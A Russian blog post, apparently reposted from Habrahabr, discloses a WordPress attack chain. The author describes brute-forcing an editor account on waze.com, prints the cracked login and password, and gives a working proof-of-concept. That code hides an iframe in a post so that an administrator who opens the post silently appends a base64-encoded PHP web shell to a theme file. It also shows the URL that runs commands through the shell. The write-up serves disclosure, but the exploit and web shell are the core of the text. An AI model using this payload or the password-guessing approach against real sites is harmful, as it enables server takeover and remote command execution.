- PVSM.RU - https://www.pvsm.ru -
Всем приятного чтения. Я хочу рассказать о небезопасной фиче во всемирно известном движке для блогов — WordPress, которая присутствует в нем уже долгое время. О ней многим известно (в т.ч. эту возможность признают как «законную» сами разработчики), но я точно не уверен, описывал ли кто-то её использование именно в предлагаем в статье векторе атаки (лично я найти не смог).
Множество компаний, таких как Microsoft, Nokia, Google используют WordPress. Администраторы блогов выдают права редакторов своим PR-службам… И вот тут главный момент — в WordPress только две роли имеют права использовать javascript внутри постов — администраторы и редакторы.
Вся идея в одно предложение: создаём пост, содержащий зловредный JS. Если администратор открывает наш пост — мы получаем Remote Command Execution.
Несколько дней назад у меня появилось время и желание покопать какой-нибудь сайт Google. За цель был взят стартап — waze.com, купленный Google за 1 миллиард $. Сразу же был найден WordPress, и я решил перебрать пароли юзеров по довольно малой базе — rockyou-75.txt [1]. Проснувшись утром увидел заветное:
[+] Starting the password brute forcer [SUCCESS] Login : di-ann Password : illuminati +----+--------+------+------------+ | Id | Login | Name | Password | +----+--------+------+------------+ | | di-ann | | illuminati | +----+--------+------+------------+ [+] Finished at Sat Sep 7 09:47:27 2013 [+] Elapsed time: 00:42:52 Exiting!
Бинго! Нашелся пароль от пользователя, с правами редактора. Конечно же сразу захотелось получить RCE на сервере. Но… известные способы сообщают, что нужно иметь права администора блога. Тогда шелл можно залить через:
Эти же действия мы можем сделать через js. создаём пост под редактором, в котором открываем скрытый iframe, и в нем выполняем нужные действия. Если пост откроет админ — мы получим RCE.
PoC exploit:
<iframe name='evilframe' src='/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentythirteen' style='display:none' onload="if (evilframe.document.getElementById('newcontent').value.indexOf('system') == -1) {evilframe.document.getElementById('newcontent').value += atob('PD9waHAgQHN5c3RlbSgkX0dFVFsnY21kJ10pOyA/Pg=='); evilframe.document.getElementById('submit').click();}"></iframe>
Построчно:
iframe name='evilframe' src='/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentythirteen' // создаём iframe с редактированием шаблона страницы 404 текущей темы (twentythirteen)
style='display:none' // делаем iframe невидимым
onload= // как только загрузился
if (evilframe.document.getElementById('newcontent').value.indexOf('system') == -1) // проверяем, что шаблон темы уже не содержит backdoor (вызов функции system)
evilframe.document.getElementById('newcontent').value += atob('PD9waHAgQHN5c3RlbSgkX0dFVFsnY21kJ10pOyA/Pg=='// добавляем к текущему значению темы код <?php @system($_GET['cmd']); ?>
evilframe.document.getElementById('submit').click() // сохраняем тему
Также мы можем выполнять любые действия под администратором, например:
Итак, с помощью PoC кода выше мы внедрим бэкдор в шаблон темы twentythirteen страницы 404, как только любой авторизованный админ откроет наш пост. Это касается в т.ч. последней версии WordPress — 3.6.1
После внедрения бэкдора RCE будет доступен по следующему запросу:
http://localhost/wordpress/?p=123123123&cmd=id
В случае с Google я не стал внедрять код выше, а просто записал видео, как можно получить RCE. Они сразу же удалили WordPress и переехали на blogger.com. Правильное решение. Также я нашел и другие баги, но не получил денег, так как ресурс находится в blackout периоде (6 месяцев после покупки). Но добавили в зал славы [2] :-)
Демо (которое было отправлено в Google):
Автор: BeLove
Источник [3]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/43659
Ссылки в тексте:
[1] rockyou-75.txt: https://raw.github.com/danielmiessler/SecLists/master/Passwords/rockyou-75.txt
[2] зал славы: http://www.google.com/about/appsecurity/hall-of-fame/distinction/
[3] Источник: http://habrahabr.ru/post/194282/
Нажмите здесь для печати.